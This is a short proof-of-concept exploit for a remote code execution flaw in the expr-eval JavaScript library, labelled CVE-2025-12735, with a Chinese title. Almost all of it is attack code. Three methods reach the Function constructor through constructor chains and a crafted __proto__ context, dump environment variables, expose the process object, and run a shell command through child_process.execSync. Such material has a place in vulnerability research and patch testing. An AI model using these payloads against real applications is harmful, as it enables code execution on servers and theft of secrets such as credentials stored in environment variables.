CVE-2025-12735 expr-eval库远程代码执行漏洞

// CVE-2025-12735 PoC - Remote Code Execution in expr-eval library // This PoC demonstrates arbitrary code execution via crafted context object const { Parser } = require('expr-eval'); // Malicious context object designed to trigger RCE const maliciousContext = { // Using constructor property to access Function constructor payload: { constructor: { constructor: Function } }, // Alternative: Using __proto__ to access prototype chain __proto__: { constructor: Function } }; // Attempt to execute arbitrary code try { // Method 1: Direct Function constructor access const expr1 = 'this.constructor.constructor("return process.env")()'; console.log('[+] Testing direct constructor access...'); const result1 = Parser.evaluate(expr1); console.log('[+] Environment variables leaked:', result1); } catch (e) { console.log('[-] Method 1 failed:', e.message); } try { // Method 2: Using context object with malicious properties const expr2 = 'data.constructor.constructor("return process")()'; console.log('[+] Testing context-based access...'); const result2 = Parser.evaluate(expr2, { data: maliciousContext }); console.log('[+] Process object accessed:', Object.keys(result2)); } catch (e) { console.log('[-] Method 2 failed:', e.message); } try { // Method 3: Execute shell command via child_process const expr3 = '({}).constructor.constructor("return require(\\"child_process\\").execSync(\\"id\\")")()'; console.log('[+] Testing command execution...'); const result3 = Parser.evaluate(expr3); console.log('[+] Command output:', result3.toString()); } catch (e) { console.log('[-] Method 3 failed:', e.message); } // Safe expression (for comparison) const safeExpr = 'x + y'; console.log('[+] Safe expression result:', Parser.evaluate(safeExpr, { x: 1, y: 2 }));